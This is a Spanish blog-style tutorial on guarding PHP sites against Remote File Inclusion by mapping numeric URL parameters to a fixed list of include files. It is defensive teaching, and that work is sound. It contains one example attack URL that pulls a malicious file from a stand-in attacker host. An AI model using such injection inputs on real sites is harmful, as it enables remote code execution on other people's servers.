Seguridad en la Url

En una web es sumamente importante encontrar una metodología de desarrollo que minimice en lo posible los riesgos de seguridad.  Por decir algo, existe la famosa Inclusión Remota (Remote File Inclusion), que se aprovecha del tan “inocente” error que cometen algunos programadores de utilizar como metodo de inclusión en la url “el nombre completo del archivo” (ruta, nombre, extensión), lo que facilita el trabajo a esos ociosos que solo se dedican a fastidiar.  La idea de este artículo no es hablar sobre todas las vulnerabilidades que existen en la url, más bien lo que quiero es mostrar una forma eficiente y práctica de evitarnos muchos de esos problemas.

Comenzamos aclarando que la idea es mostrar en nuestra url solo el nombre del archivo por defecto (index.php), y que los demás serán incluidos desde este, dependiendo de un valor que pasemos por la url. Para cualquier sección de nuestra web, la dirección será index.php, acompañado de un valor que identifique nuestra sección, por ejemplo

<a href=”index.php”>Inicio</a>
<a href=”index.php?s=1″>Sección 1</a>
<a href=”index.php?s=2″>Sección 2</a>
<a href=”index.php?s=3″>Sección 3</a>
<a href=”index.php?s=4″>Sección 4</a>

Ahora, para que nuestro index sepa qué página se va a incluir, simplemente recuperamos el valor de la url con $_GET, y verificamos si hay una dirección que se corresponda a ese valor, y en caso de ser positivo, se incluye el archivo de esa dirección, como a continuación:

<?php
            $sec=$_GET['s'];
            $ruta=”;
            if (empty($sec))
                        $ruta=”portada.php”;
            if ($sec==’1′)
                        $ruta=”seccion1/eventos.php”;
            if ($sec==’2′)
                        $ruta=”seccion2/recursos.php”;
            if ($sec==’3′)
                        $ruta=”seccion3/descargas.php”;
            if ($sec==’4′)
                        $ruta=”seccion4/info.php”;
            if (!empty($ruta))
                        include($ruta);
?>

En la url solo se vería cualquiera de las siguientes:

index.php
index.php?s=1
index.php?s=2
index.php?s=3
index.php?s=4

Un TREMENDO ERROR (que mencioné al principio) es cuando en nuestra página la url es de la siguiente forma:

index.php?s=descargas.php

Si trabajamos la url de esa forma, cualquier vago que ande navegando por la internet puede modificar la url y hacer algo como:

index.php?s=http://sitiohacker.com/archivo_dañino.php

Pudiendo incluir desde otro servidor un archivo con un código maligno…

Debido a esto, lo más seguro es trabajar la URL de la forma index.php?s=1, donde s=1 será sustituida por una dirección específica de la página, y asi un valor de “s” para cada sección de la página.  De esta forma nadie sabrá cual es la dirección de nuestras carpetas y subcarpetas que contienen los scripts de php

Escribe un comentario